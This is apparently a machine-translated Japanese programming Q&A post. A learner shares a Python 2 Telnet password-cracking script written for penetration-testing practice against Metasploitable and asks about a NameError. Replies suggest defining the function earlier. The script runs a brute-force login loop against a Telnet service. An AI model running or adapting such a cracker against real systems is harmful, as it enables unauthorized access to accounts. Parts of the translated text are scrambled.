私は現在、いくつかの侵入テストのためにPythonを学習しており、パスワードクラッキングスクリプトの作成を練習していました。 Telnetパスクラッカーのスクリプトを作っているうちに、その機能のいくつかに問題がありました。ユーザーが調査結果や追加情報を出力できるようにしようとしているうちに、私は問題を発見しました。後でPythonスクリプトで関数を呼び出す方法は?
私は、ip、username、出力ファイルなどのスクリプトの引数を取るためにgetoptを使用しています(私はパスワードとユーザー名の単語リストを入れるオプションを作ろうとしていますが、ファイルを使用して)。関数は呼び出される場所の上に記述されなければならないので、私は2つの場所で関数を必要とする問題にぶち当たっています。
getopt forループの上に必要ですが、パスワードを推測するforループでも必要です。私はいくつかの可能な解決策を見てきましたが、私はまだPythonを少し新しくしているので、私は本当に混乱しています。私はそれをうまく説明する方法を本当に知っていませんが、私がする必要があることの根拠は、誰かがそれを理解すれば関数が書かれる前に関数を呼び出せることです。すべての助けをありがとうございます。
また、私がしようとしていることを実行するためのより効率的な方法があると知っていますが、コードをどのように未編成にしても、これを行う能力があるかどうかを知りたいと思っていました。ここで
は私のコードです:-u msfadmin -f test.txtの
のpython telnet_cracker.py -i [metasploitableのIP]を:ここ
import telnetlib
import re
import sys
import time
import getopt
from time import gmtime, strftime
total_time_start = time.clock()
#Get the arguments from the user
try:
opts, args = getopt.getopt(sys.argv[1:], "i:u:f:")
except getopt.GetoptError as err:
print str(err)
sys.exit(2)
passwords = ["hello","test", "msfadmin", "password"]
username = " "
ip = "0.0.0.0"
output_file = " "
for o, a in opts:
if o == "-i":
ip = a
elif o in ("-u"):
username =a
elif o in ("-f"):
output_file = a
file_out()
else:
assert False, "unhandled option"
#Connect using the password and username from the for loop later in the script.
def connect(username, password, ip):
global tn
tn = telnetlib.Telnet(ip)
print "[*] Trying " + username + " and " + password
tn.read_until("metasploitable login: ")
tn.write(username + "\n")
tn.read_until("Password: ")
tn.write(password + "\n")
#Guess the password
for password in passwords:
attempt = connect(username, password, ip)
time_start = time.clock()
if attempt == tn.read_until("[email protected]", timeout = 1):
pass
time_end = time.clock()
time_finish = time_end - time_start
#Determine if the password is correct or not
if time_finish > 0.001000:
print "\033[1;32;40m [*] Password '" + password + "' found for user '" + username+"'\033[0;37;40m\n"
total_time_end = time.clock()
total_time = (total_time_end - total_time_start)
#Print the findings to a file that is selected from an argument
def file_out():
date = strftime("%a, %d %b %Y %H:%M:%S +0000", gmtime())
fout = open(output_file, 'w')
fout.write("Server IP: " + ip)
fout.write("\nUsername is " + username)
fout.write("Password is " + password)
fout.write("\nCrack was conducted on " + date)
fout.write("The crack took a total time of " + total_time)
sys.exit(0)
は、私が取得していますエラーです
Traceback (most recent call last):
File "telnet_cracker.py", line 49, in <module>
file_out()
NameError: name 'file_out' is not defined
最初に 'file_out'を定義するのはどうですか?あなたが 'ip'、' username'などの値を必要とするだけであれば、それを関数の引数として渡すことができます。 – Julien
なぜループ内で関数を定義していますか?それを取り出して引数を渡す –